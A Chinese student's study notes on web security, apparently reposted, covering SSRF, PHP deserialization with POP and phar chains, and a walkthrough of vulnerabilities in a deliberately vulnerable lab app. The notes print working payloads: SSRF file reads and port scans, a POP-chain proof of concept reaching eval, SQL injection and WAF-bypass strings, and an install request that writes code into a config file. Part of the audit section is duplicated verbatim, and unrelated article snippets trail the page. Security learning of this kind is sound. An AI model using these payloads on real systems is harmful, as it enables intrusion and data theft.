3.5网安学习第三阶段第五周回顾(个人学习记录使用)

本周重点

①SSRF服务器端请求伪造

②序列化和反序列化

③Vaudit代码审计

本周主要内容

①SSRF服务器端请求伪造

一、概述

SSRF: server site request forgery (服务器端请求伪造)。

SSR: 服务端请求,A服务器通过函数向B服务器发送请求。

image-20240318233750859

SSRF发生的前提条件:

1、外网服务器接收到用户的参数,没有做严格的过滤和检查

2、外网服务器在调用内网服务器的时候,使用了用户传入的参数来调用内网服务器的接口。

二、代码样例

外网服务器代码:

<?php//注意这里的外网服务器并备有对传入参数做任何校验和过滤,直接调用内网服务器获取文件$fileurl = $_GET['file'];echo file_get_contents($fileurl);
?>

内网服务器代码:

<?php//注意这里内网服务器的代码是根据其他服务器传的文件地址参数来获取文件echo file_get_contents($_GET['fname']);
?>

三、场景

1、在线分享
早期的网站可以通过url地址分享内容给其他用户,此时,网站会根据目标网站主页的title或者<meta name="description" content="">标签中的content属性的内容来生成分享链接的,这样可以有更好的用户体验,例如早起的人人网的分享链接http://wiget.renren.com/***/?resourceUrl=http://www.duoduo.com/index.html,这个resourceUrl的值就是目标网站的地址2.在线转码
有些网站提供代码转换服务,以适应不同的设备展示的需求。例如百度,腾讯等都提供这种服务。可以把自己公司的网页传给转码服务,然后,会自动对代码做适当修改,以适应不同的展示设备的分辨率,字体等等。提高用户体验。此时,这种服务的请求类似于:http://www.baidu.com/convert?resource=http://www.abc.com/index.html3.在线翻译
跟在线转码差不多4.图像水印
可以给图片加水印,那么图片的地址就是动态传入的参数。5.图片或者文章收藏。
收藏保存的文章或图片的url地址,获取的时候,就是传入文章地址参数。

四、探测关键字

在浏览器的查看源代码的功能中,查询包含下列关键字的网页

share
wap
url
link
src
source
target  
u
3g
display
sourceURL
imageURL
domain
location
remote

五、判断SSRF存在

1、有回显

使用请求伪造给外网服务器发请求,看看是否有相应内容,有可能回显内容会经过一些处理,只显示部分内容。

2、无回显

在无任何回显的情况下,可以使用下面的方式进一步判断

(1)DNSlog : 在dnslog.cn上申请一个临时域名,把域名传入给外网的接口

http://192.168.121.128/ssrf/getfiles?file=http://xxx.bbb.ccc

然后去dnslog.cn上查看域名解析的结果,如果能看到,说明传入的参数file的值,是被直接传给内网服务器作为参数的。

(2)租用公网服务器(例如:IP地址是1.112.10.101),测试,并查看日志

把下面文件ssrf.php放在有公网ip的服务器上

<?php
echo "test ssrf";
?>

访问被探测的服务器的请求url

http://192.168.121.128/ssrf/getfiles?file=http://1.112.10.101/ssrf.php

这里就是借助被探测的服务器来访问黑客自己公网服务器上的文件ssrf.php,可以查看黑客的服务器日志,如果请求正常就进入到黑客的公网服务器,那么说明被探测的服务器是直接把file=http://1.112.10.101/ssrf.php作为请求参数传入的。

六、三个函数

我们要分三种情况来讨论,因为对方的外网服务器可能会采取下面这三个函数中的任意一个来请求他的内网服务器,不同的函数利用方式有细微差别

file_get_contents()     可以发送get|post请求
fsockopen()             只能发送get请求
curl_exec()             可以发送get|post请求

1、file_get_contents()

GET请求:
echo file_get_contents($_GET['file']);POST请求:
$url = $_GET['url'];
$content = $_GET['content'];
$name = $_GET['name'];$data = "content=$content&name=$name";$options = ['http'=>['method'=>'POST','header'=>"Content-Type:application/x-www-form-urlencoded",'content'=>$data
]];$context = stream_context_create($options);echo file_get_contents($url,false,$context);

2、fsockopen()

GET请求:
$f = fsockopen("192.168.32.129",80);$param="GET /secure21/html/calc.html HTTP/1.1\r\n";
$param.="Host:192.168.32.129\r\n";
$param.="Connection:close\r\n\r\n";fwrite($f,$param);while(!feof($f)){echo fread($f,1024);
}
fclose($f);POST请求:
$f = fsockopen("192.168.150.128",80);$param = "POST /ssrf/1.php HTTP/1.1\r\n";
$param = $param."Host: 192.168.150.128\r\n";
$param = $param."User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0\r\n";
$param = $param."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$param = $param."Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n";
$param = $param."Accept-Encoding: gzip, deflate\r\n";
$param = $param."Connection: Close\r\n";
$param = $param."Content-Type: application/x-www-form-urlencoded\r\n";
$param = $param."Content-Length: 26\r\n\r\n";
$param = $param."content=hello&name=zhangan";fwrite($f,$param);
while(!feof($f)){echo fread($f,1024);
}fclose($f);

3、curl_exec()

get请求:
$cu = curl_init();  curl_setopt($cu,CURLOPT_URL,"http://192.168.32.129/secure21/html/calc.html");
curl_setopt($cu,CURLOPT_HEADER,0);//不输出响应头
curl_exec($cu);
curl_close($cu);post请求:
$cu = curl_init();    $arr[CURLOPT_URL]="http://192.168.32.129/secure21/php/demo6.php";
$arr[CURLOPT_HEADER]=0;//不输出响应头
$arr[CURLOPT_RETURNTRANSFER]=1;//设置接受返回值
$arr[CURLOPT_POST]=1;//请求方式
$arr[CURLOPT_POSTFIELDS]="content=ssrfcurl_exec&name=post";//请求参数curl_setopt_array($cu,$arr);echo curl_exec($cu);
curl_close($cu);
?>

七、SSRF危害

1、可以对服务器外网,内网进行端口扫描

2、通过外网服务器,获取内网服务器的一些资源

3、探测一些应用程序的指纹信息

http://192.168.150.128/ssrf/curlweb.php?f=dict://192.168.150.129:3306/info

curlweb.php代码

<?php$url=$_GET['f'];
$cu = curl_init();
curl_setopt($cu,CURLOPT_URL,$url);
curl_setopt($cu,CURLOPT_HEADER,0);//响应头不输出
curl_exec($cu);
curl_close($cu);
?>

如果mysql在3306端口运行那么会返回一些信息。

image-20240325111914726

4、攻击内外网的web应用(例如sql注入等)

5、利用file,dict,gopher,http,https等协议读取本地文件,访问敏感目标,反弹shell等高危操作

gopher也可以用来探测mysql的指纹信息

八、利用

1、读取存在ssrf漏洞系统所在服务器的本地文件

(1)针对使用file_get_contents的情况:payload

http://192.168.121.128/ssrf/getfiles?file=/etc/passwd

(2)针对使用curl_exec的情况:payload:(file://是文件访问协议)

http://192.168.121.128/ssrf/curlgetfiles?file=file:///etc/passwd

还可以使用其他的伪协议

http://192.168.121.128/ssrf/curlgetfiles?file=php://inputpost data:
{"name":"zhangsan","age":12}其他伪协议可以参考文件包含的部分

2、远程资源获取

1、通过http扫ip

http://192.168.121.128/ssrf/getfiles?file=http://192.168.12.127 #有返回说明有服务开启
http://192.168.121.128/ssrf/getfiles?file=http://192.168.12.126 #没有返回说明没有服务开启
如此测试可以发现内网存在哪些开放80端口的应用

2、通过dict扫端口

注意这个协议不能跟file_get_contents一起使用。可以跟curl_exec()一起用

http://192.168.121.128/ssrf/getcurlfiles?file=dict://192.168.12.127:8000 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?file=dict://192.168.12.126:8000 #没有返回说明没有服务开启

3、gopher也可以扫端口(不能跟file_get_contents一起使用)

http://192.168.121.128/ssrf/getcurlfiles?file=gopher://192.168.12.127:80 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?file=gopher://192.168.12.126:80 #没有返回说明没有服务开启

九、防御

1、白名单:限制ip和域名

2、白名单:限制端口

3、白名单:限制协议;

注意白名单限制一定要写完整的白名单,例如:定义一个数组,把能访问的文件列表放进数组whiteList = ["http://192.168.12.128/files/tcp/alluser.txt","http://192.168.12.128/files/tcp/depts.txt"]判断的时候,请求的url路径也需要跟上面数组定义的完全吻合才可以放行。白名单中不能只放入ip地址,后者域名,那样很容易被绕过,例如whiteList=["192.168.12.128","192.168.12.129"]这种白名单很容易被绕过http://192.168.12.128@102.168.123.122/file/tcp/allusers.txt注意192.168.12.128@102.168.123.122的意思是要访问102.168.123.122的主机,使用192.168.12.128作为登录的用户名。

4、用户需要认证。每次请求要验证用户的身份,需要先获取令牌,或者登录。

5、屏蔽底层错误信息,避免用户根据错误信息来判断服务器的端口状态

6、限制重定向操作

当使用curl_exec()函数的时候,可以设置参数CURLOPT_FOLLOWLOCATION=false来限制header("Location:list.php")这种通过响应头的重定向机制,不能限制js端的重定向。
如果要向限制js端的重定向,需要对响应的内容进行判断,查找其中的location.href这类的字样
$res = curl_exec()
if(	stripos($res,'location.href')==false )echo $res;
else die();

7、避免直接使用请求带来的参数,可以根据请求的参数,转成请求对应资源。这种相当于写死了能够请求的资源

$re = $_GET['f']
if($re==1){请求:http://102.168.123.122/file/tcp/allusers.txt
}
if($re==2){请求:http://102.168.123.122/file/tcp/depts.txt
}

8、限制url请求的长度

十、绕过

1、IP地址使用十进制

工具网站:https://www.bejson.com/convert/ip2int/

http://1696940379

这种可以绕过使用了黑名单限制后台程序。

2、生成短链接可以绕过针对url地址长度的限制。

②序列化和反序列化

一、面向对象

1、类:

类:具有相同属性和行为的事物。

对象: 类的实例化个体。

2、访问修饰符

属性:0upublicprotectedprivate
方法:publicprotectedprivateprivate只能在类中使用
protected修饰的可以在本类和子类中使用
private不能被继承。

3、静态方法

1.通过static关键字定义的方法:在该方法中,不能使用$this;
2.静态方法随类一起被加载:所以静态方法可以被类名或者对象调用;
3.静态方法中不能调用实例方法。

4、类的结构

class 类名{访问修饰符 ;  //属性访问修饰符 function 方法名(形参列表){     //方法方法体;}
}

5、样例代码

<?phpclass Animal{private $ace;protected $height="animal height----";public $name="animal name----";public $oice="animal oice----";public function talk(){echo "animal talks<br>";$this->sing();}protected function swim(){echo "animal swims<br>";}private function sing(){echo "animal sings<br>";}public function setAce($a){$this->ace = $a;}public function getAce(){echo $this->ace."<br>";}public static function run(){echo "static method:animal run<br>";}}class Dog extends Animal{public $oice="dog oice<br>";public function talk(){echo "dog talks<br>";}public function play(){$this->swim();echo "dog play<br>";}public function getName(){echo $this->name;}public function getHeight(){echo $this->height;}public function getOice(){echo $this->oice;}
}
$animal = new Animal;
$animal->talk()."<br>";
$animal->setAce("11111");
echo $animal->getAce()."<br>";
Animal::run();//调用静态方法
echo ">>>>>>>>>>>>>>>>>>>>>....<br>";
$dog = new Dog;
$dog->talk();
$dog->play();
$dog->getName();
$dog->getHeight();
$dog->getOice();?>

6、魔术方法

方法描述
__construct( )新对象被创建时候调用
__destruct()对象被销毁时候调用
__call()在对象中调用一个不可访问方法时,__call()会被调用。
__callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get()读取不可访问(protected 或 private)或不存在的属性的值时会被调用
__set()在给不可访问(protected 或 private)或不存在的属性赋值时会被调用
__isset()当对不可访问(protected 或 private)或不存在的属性调用 isset()或 empty() 时,__isset() 会被调用。
__unset()当对不可访问(protected 或 private)或不存在的属性调用 unset()时,__unset() 会被调用。
__sleep()执行序列化操作时候先执行这个方法
__wakeup()执行反序列化操作时候先执行这个方法
__toString()当一个类对象被当成字符串使用的时候会调用
__invoke()当尝试以调用函数的方式调用一个对象时这个方法会调用
__clone()当复制完成时,如果定义了__clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。

二、序列化和反序列化

1、序列化:字符串中,只包含类名和属性。与方法无关。

1.serialize()函数生成:
将php中类复制到另一个文件中,删除所有方法,只保留属性和与赋值相关的构造方法。
通过serialize(new 类名)得到序列化字符串
2.手工写:
O:长度:"类名":属性数量:{数据类型:长度:"属性名字";i:值;xxx}
O:长度:"类名":属性数量:{数据类型:长度:"属性名字";s:长度:值;xxxx}

2、反序列化: 源码中,定义的程序入口。通过unserialize()函数实现。

$obj = unserialize($_GET['str']);   //将序列化字符串还原成对象

3、使用场景:

当请求时候,需要传递的参数是对象的时候。

发请求的代码:

<?php
class Animal{private $ace;protected $height="animal height----";public $name="animal name----";public $oice="animal oice----";public function talk(){echo "animal talks<br>";$this->sing();}protected function swim(){echo "animal swims<br>";}private function sing(){echo "animal sings<br>";}public function setAce($a){$this->ace = $a;}public function getAce(){echo $this->ace."<br>";}public static function run(){echo "static method:animal run<br>";}}
$animal = new Animal;
$animaljson = base64_encode(serialize($animal));
$cu = curl_init();
$arr =[];
$arr[CURLOPT_URL]="http://192.168.150.129/receiveobj.php";
$arr[CURLOPT_HEADER]=0;
$arr[CURLOPT_RETURNTRANSFER]=1;
$arr[CURLOPT_POST]=1;
$arr[CURLOPT_POSTFIELDS]=$animaljson;curl_setopt_array($cu,$arr);echo curl_exec($cu);curl_close($cu);
?>

被请求的代码

<?phpclass Animal{private $ace;protected $height;public $name;public $oice;public function talk(){echo "animal talks<br>";}protected function swim(){echo "animal swims<br>";}private function sing(){echo "animal sings<br>";}public function setAce($a){$this->ace = $a;}public function getAce(){echo $this->ace."<br>";}}$o = file_get_contents("php://input");
echo $o;
echo "<br>";$dog1 = unserialize(base64_decode($o));
echo $dog1->getAce();
?>

4、反序列化漏洞利用前提

1、对象必须以序列化后的字符串形式在页面之间传递,说白了就是要让用户可以用可控的输入点。
2、在类定义中,在以上的魔术方法中,能够在反序列化时候被调用到的魔术方法中存在一些危险函数,例如eval。

三、调用链

POP即:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

我们在寻找深层次调用链时,使用终点向上查找的方法,或是开始点查找的方法。来找到反序列化漏洞。

使用以下代码,实现任意命令的调用。

<?phpclass Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){@eval($value);}public function __invoke(){$this->boss($this->var);}
}
class Lion{public $tail;public function __construct(){$this->tail = array();}public function __get($value){$function = $this->tail;return $function();}
}
class Monkey{public $head;public $hand;public function __construct($here="Zoo"){$this->head = $here;echo "Welcome to ".$this->head."<br>";}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {echo "hacker";$this->source = "index.php";}}
}
class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = $nice;echo $nice;}public function __toString(){return $this->nice->nose;}
}
if(isset($_GET['zoo'])){@unserialize($_GET['zoo']);
}
else{$a = new Monkey;echo "Hello PHP!";
}?>

构造好的POC

<?phpclass Tiger{public $string;protected $var = "phpinfo();";}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}}class Monkey{public $head;public $hand;public function __construct($here="Zoo"){$this->head = new Elephant();}}class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = new Lion();}}$monkey = new Monkey();echo urlencode(serialize($monkey));//注意用urlencode编码一下,否则protected和private修饰的属性会有些字符无法显示
?>

image-20240325210910218

四、phar反序列化漏洞

1、条件:生成phar压缩文件。

1.php.ini文件中,phar.readonly=Off
2.存放phar压缩文件的目录必须有写权限。

2、phar文件结构

1.stub: <?php __HALT_COMPILER();?>   PHAR文件声明
2.metadata: 元数据,声明数据的数据。用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。
3.content: 被压缩的文件
4.signature: 签名1、stub
stub的基本结构:<?php __HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2、meta-data
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
3、content
被压缩文件的内容。
4、signature
签名,放在文件末尾。

3、构造访问phar的代码,文件命名为phar.php:

<?php
class Vul{public $data;function __destruct(){@eval($this->data);}
}
$filename = 'phar://test.phar/test.txt';
file_exists($filename);
?>

生成压缩文件test.phar的代码,文件名为createphar.php

注意:createphar.php当前目录需要有写权限

<?php
class Vul{public $data="phpinfo();";
}@unlink("test.phar");//删除已有的文件
$phar=new Phar("test.phar");   
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$v = new Vul;
$phar->setMetaData($v);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();?>

触发漏洞

访问http://192.168.150.128/phar.php

image-20240325213402277

③Vaudit代码审计

一、安装

1、上传vaudit压缩文件到/opt/lampp/htdocs

2、解压缩

unzip VAuditDemo-master.zip

3、修改目录名称

cd /opt/lampp/htdocs
cd VAuditDemo-master
mv VAuditDemo_Debug vaudit
cd ..
mv VAuditDemo-master vaudit

4、修改httpd.conf文件

vi /opt/lampp/etc/httpd.conf
添加一个端口
Listen 81

image-20240323105811462

image-20240323110143594

保存并退出。

5、编辑httpd-vhost.conf

vi /opt/lampp/etc/extra/httpd-vhosts.conf
把文件中的原来内容全部删除,并把下面的内容输入到文件中
<VirtualHost *:81>serverName localhostDocumentRoot "/opt/lampp/htdocs/vaudit/vaudit"
</VirtualHost>

6、重启lampp

/opt/lampp/xampp restart

7、访问项目首页

http://192.168.217.128:81/index.php

可以看到url跳转到系统安装的地址

http://192.168.217.128:81/install/install.php

image-20240323111111459

8、修改目录和文件权限

chmod o+w /opt/lampp/htdocs/vaudit/vaudit/sys
chmod o+w /opt/lampp/htdocs/vaudit/vaudit/uploads
chmod o+w /opt/lampp/htdocs/vaudit/vaudit/sys/config.php

再次访问页面,

http://192.168.217.128:81/install/install.php

看到下面的页面,说明修改成功

image-20240323111336374

在以上页面输入正确的数据库地址,用户名,密码点击安装按钮。数据库名称不用修改,就使用vauditdemo。

如果数据库已经存在,那么先删掉数据库,再点击安装按钮。

看到下面的页面,说明安装成功。

image-20240323112259014

二、代码审计

1、安装漏洞

可以反复执行安装程序

http://192.168.217.128:81/install/install.php

使用burp拦截请求后可以看到安装页面上默认的数据库信息。

原因是

header( "Location: ../index.php" );页面跳转并不能停止php其余代码的执行和返回结果

需要在header后面增加die(),终止php程序运行。

2、XSS漏洞

在主页的留言搜索框,xss注入漏洞。

3、注册页面

没有验证码,可以通过循环遍历,注册无数的用户。

4、普通用户登录

没有验证码可以暴力破解

登录logCheck.php

admin'--logCheck--》
$_SESSION['username'] = $row['user_name'];
$_SESSION['avatar'] = $row['user_avatar'];
登录成功后,返回到 user.php,此时下面的查询会出现sql注入风险
研究一下session中的username是否会有sql注入的可能:admin' limit 2,1#
$query = "SELECT * FROM users WHERE user_name = '{$_SESSION['username']}'";
$_SESSION['user_id'] = $result['user_id'];
5、二次注入

先注册一个用户名中反斜杠结尾的用户,例如:zhangsan\

重新登录

发帖子,来到messageSub.php

	$clean_message = clean_input($_POST['message']);//直接使用发帖内容做sql注入不行//这个sql语句,从session获取的用户名带一个反斜杠,会注释掉'{$_SESSION['username']}'后面的单引号。此时可以构造一个留言的payload$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";

留言payload是:

,(SELECT DATABASE ( ) ), now( ) )#
6、任意文件读取

avatar.php中的

echo file_get_contents($_SESSION['avatar']);

$_SESSION[‘avatar’]在登录的时候,从users表中获取的avater的值,放入session

users表中获取的avater的值,是从上传头像时候保存进数据库。

updateAvatar.php:

$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";

构造上传文件的文件名的payload,需要用burp拦截修改的。

',user_avatar=0x2f6574632f706173737764 where user_name='wangwu'#.jpg
7、越权

在更新用户名的页面,提交请求后,updateName.php,根据浏览器传入的userid来修改数据库记录

  $clean_user_id = clean_input($_POST['id']);$query = "UPDATE users SET user_name = '$clean_username' WHERE user_id = '$clean_user_id'";

我们可以用burp拦截,把id修改成其他人的。

image-20240328104600832
8、首页上有文件包含漏洞

首页包含的文件有后缀.inc,所以使用phar伪协议方式

制作一个一句话木马文件,a.inc,放入到压缩文件b.zip,把b.zip改名为b.jpg,

上传之后,在首页文件包含的地方访问,用phar协议

9、管理员登录的url地址不应该暴露给c端用户
http://192.168.218.128:81/admin/login.php
10、管理员登录页面

验证码可以重复使用

11、登录验证过程

logCheck.php

$query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";

这里的ip是从请求头来的

我们可以修改请求头x-forwarded-for,

注入一个xss存储型

<script>alert(1)</script>
12、任意linux命令执行

管理员ping的功能,可以使用管道符来执行任意linux命令

13、sql注入

messageDetail.php页面

	$id = sqlwaf( $_GET['id'] );$query = "SELECT * FROM comment WHERE comment_id = $id";

sqlwaf有逻辑漏洞。可以使用payload注入,

?id=9 uni||on se||lect 1,2,3,database() limi||t 1,1
14、SQL注入+越权

登录成功后跳转,看到user.php中,

$query = "SELECT * FROM users WHERE user_name = '{$_SESSION['username']}'";
$_SESSION['user_id'] = $result['user_id'];

怀疑有sql注入风险,如果用户名中有单引号就可以造成注入。根据用户名查询到的user_id放入到session,那么,以后更新操作都根据user_id,就可能导致越权。

下面就是研究如何能让session的username有单引号出现。

查看regCheck.php,这里clean_input只是对单引号,双引号,反斜线做了防御

	$clean_name = clean_input($_POST['user']);$clean_pass = clean_input($_POST['passwd']);

那么这个insert语句就可以注册用户名含有单引号的账号

$query = "INSERT INTO users(user_name,user_pass,user_avatar,join_date) VALUES ('$clean_name',SHA('$clean_pass'),'$avatar','$date')";

再去看logCheck.php

$query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";

从数据库中查询用户信息,包含用户名和用户的id,并且把从数据库查到的用户名放入session,那么session中的用户名就会存在单引号。

$_SESSION['username'] = $row['user_name'];

我们可以考虑先注册一个带有单引号的用户名,然后在去更改用户信息。就能够越权修改其他用户的信息了

注册的用户名长度不能超过16个字符长度,所以可以使用

'||1 limit 2,1#
15、系统重新安装漏洞
POST /install/install.php HTTP/1.1
Host: 192.168.218.128:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=p1t2n3j5ejheqf2hbohuhuk337
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79dbhost=localhost&dbuser=root&dbpass=1234&Submit=sub&dbname=aaaa;#";phpinfo();//

可以写入一句话木马到config.php

这个insert语句就可以注册用户名含有单引号的账号

$query = "INSERT INTO users(user_name,user_pass,user_avatar,join_date) VALUES ('$clean_name',SHA('$clean_pass'),'$avatar','$date')";

再去看logCheck.php

$query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";

从数据库中查询用户信息,包含用户名和用户的id,并且把从数据库查到的用户名放入session,那么session中的用户名就会存在单引号。

$_SESSION['username'] = $row['user_name'];

我们可以考虑先注册一个带有单引号的用户名,然后在去更改用户信息。就能够越权修改其他用户的信息了

注册的用户名长度不能超过16个字符长度,所以可以使用

'||1 limit 2,1#
15、系统重新安装漏洞
POST /install/install.php HTTP/1.1
Host: 192.168.218.128:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=p1t2n3j5ejheqf2hbohuhuk337
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79dbhost=localhost&dbuser=root&dbpass=1234&Submit=sub&dbname=aaaa;#";phpinfo();//

可以写入一句话木马到config.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/787875.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Flutter动画笔记---总结

三种情况&#xff1a;第一种情况&#xff1a;隐式动画&#xff0c;全自动动画&#xff08;属于内部封装好了&#xff0c;只需要几行代码&#xff0c;就可以实现非常强大的效果&#xff09;第二种情况&#xff1a;显示动画&#xff0c;手动控制的动画&#xff08;提供自定义选择…

【ARM 嵌入式 C 字符串系列 23 -- 返回从父字符串找到相同子字符串的个数】

请阅读【嵌入式开发学习必备专栏 】 文章目录 返回从父字符串找到相同子字符串的个数 返回从父字符串找到相同子字符串的个数 在 C 语言中&#xff0c;可以编写一个自定义函数来计算一个父字符串&#xff08;haystack&#xff09;中相同子字符串&#xff08;needle&#xff09…

蓝桥杯备考随手记: practise04

问题描述: 小明被不明势力劫持。后莫名其妙被扔到 X 星站再无问津。小明得知每天都有飞船飞往地球&#xff0c;但需要 1 元的船票&#xff0c;而他却身无分文。他决定在 X 星站打工。好心的老板答应包食宿&#xff0c;第 1 天给他 1 元钱。并且&#xff0c;以后的每一天都比前…

《QT实用小工具·三》偏3D风格的异型窗体

1、概述 源码放在文章末尾 可以在窗体中点击鼠标左键进行图片切换&#xff0c;项目提供了一些图片素材&#xff0c;整体风格偏向于3D类型&#xff0c;也可以根据需求自己放置不同的图片。 下面是demo演示&#xff1a; 项目部分代码如下所示&#xff1a; 头文件部分&#xff…

Linux安装Tomcat保姆级教程

文章目录 前言一、安装JDK二、Tomcat下载三、Tomcat安装1.创建Tomcat的安装目录2.切换到Tomcat的安装目录3.上传Tomcat安装包4.解压缩5.切换到安装好的tomcat的bin目录6.启动tomcat7.网络请求测试 四、外部电脑访问nginx设置方法一&#xff1a;关闭防火墙方法二&#xff1a;添加…

Java反射系列(3):从spring反射工具ReflectionUtils说起

目录 传送门 兼容性引发的"血案" ReflectionUtils的原理 目的有三 ReflectionUtils的API使用 Method getAllDeclaredMethods findMethod invokeMethod Field getDeclaredFields findField getField makeAccessible Constructor accessibleConstructo…

Spring IoCDI(2)

IoC详解 通过上面的案例, 我们已经知道了IoC和DI的基本操作, 接下来我们来系统地学习Spring IoC和DI的操作. 前面我们提到的IoC控制反转, 就是将对象的控制权交给Spring的IoC容器, 由IoC容器创建及管理对象. (也就是Bean的存储). Bean的存储 我们之前只讲到了Component注解…

SAP Fiori开发中的JavaScript基础知识10 - 变量作用域,变量提升

1. 背景 本文将会介绍JavaScript中两个相对复杂的概念&#xff0c;也即作用域和变量提升。这个概念在JavaScript中的设计和ABAP中的设计区别还是比较大的&#xff0c;特别是变量提升部分。第一次接触JavaScript的同学&#xff0c;要注意理解和区分。 2. 作用域 在JavaScript…

vscode安装

&#x1f308;个人主页&#xff1a;Rookie Maker &#x1f3c6;&#x1f3c6;关注博主&#xff0c;随时获取更多关于IT的优质内容&#xff01;&#x1f3c6;&#x1f3c6; &#x1f600;欢迎来到小田代码世界~ &#x1f601; 喜欢的小伙伴记得一键三连哦 ૮(˶ᵔ ᵕ ᵔ˶)ა …

商场促销--策略模式

1.1 商场收银软件 package com.lhx.design.pattern.test;import java.util.Scanner;public class Test {public static void main(String[] args){System.out.println("**********************************************"); System.out.println("《大话设计模式…

vue3鼠标向下滑动,导航条改变背景颜色和logo的封装

代码中使用了element-plus组件&#xff0c;需先安装 向下滑动前 向下滑动后&#xff08;改变了logo 字体 背景颜色&#xff09; <script lang"ts" setup> import router from /router; import { ArrowDown } from element-plus/icons-vue import { ref, …

【tensorflow框架神经网络实现鸢尾花分类—优化器】

文章目录 1、前言2、神经网络参数优化器2.1、SGD2.2、SGDM2.3、Adagrad2.4、RMSProp2.5、Adam 3、实验对比不同优化器4、结果对比 1、前言 此前&#xff0c;在【tensorflow框架神经网络实现鸢尾花分类】一文中使用梯度下降算法SGD&#xff0c;对权重 w w w和偏置 b b b进行更新…

如何在Windows上安装SSH

SSH&#xff08;Secure Shell&#xff09;协议是一种强大且安全的网络协议&#xff0c;它为用户提供了一种加密的方式来远程访问和管理终端设备。在Windows操作系统中&#xff0c;安装和配置SSH服务是一个相对直接的过程&#xff0c;可以让你享受到SSH带来的便利和安全性。下面…

软件设计原则:迪米特法则

定义 迪米特法则&#xff08;Law of Demeter, LoD&#xff09;&#xff0c;又称最少知识原则&#xff0c;它指导我们在设计软件时&#xff0c;应当尽量减少对象之间的交互&#xff0c;一个对象应该对其他对象有尽可能少的了解。具体来说&#xff0c;一个对象应该只调用属于以下…

Lua脚本的使用

一、使用lua脚本扣减单个商品的库存 SpringBootTest class LuaTests {AutowiredStringRedisTemplate stringRedisTemplate;Testvoid test3() {for (int i 1; i < 5; i) {stringRedisTemplate.opsForValue().set("product."i,String.valueOf(i));}}Testvoid test…

3.写一个char类型的字符数组,对该数组访问越界时抛出异常,并做处理。

#include <iostream>using namespace std;char arr[10]"12345678"; void show(int i) {if(i>10){throw int(2);}cout << arr[i] <<endl; } int main() {int i;cin >> i;try {show(i);} catch (int) {cout << "越界" <…

【华为OD机试C++】句子逆序

《最新华为OD机试题目带答案解析》:最新华为OD机试题目带答案解析,语言包括C、C++、Python、Java、JavaScript等。订阅专栏,获取专栏内所有文章阅读权限,持续同步更新! 文章目录 描述输入描述输出描述示例1示例2代码描述 将一个英文语句以单词为单位逆序排放。例如“I am …

【Web】记录Polar靶场<困难>难度题一遍过

目录 上传 PHP是世界上最好的语言 非常好绕的命令执行 这又是一个上传 网站被黑 flask_pin veryphp 毒鸡汤 upload tutu Unserialize_Escape 自由的文件上传系统​​​​​​​ ezjava 苦海 你想逃也逃不掉 safe_include CB链 phar PHP_Deserializatio…

Centos7环境下安装MySQL8详细教程

1、下载mysql安装包 2、检查是否安装过mysql ps:因为以前用yum安装过&#xff0c;所以先用yum卸载。如果不是此方式或者没安装过则跳过 [rootlocalhost ~]# yum remove mysql 已加载插件&#xff1a;fastestmirror 参数 mysql 没有匹配 不删除任何软件包 查看是否有mysql依赖 …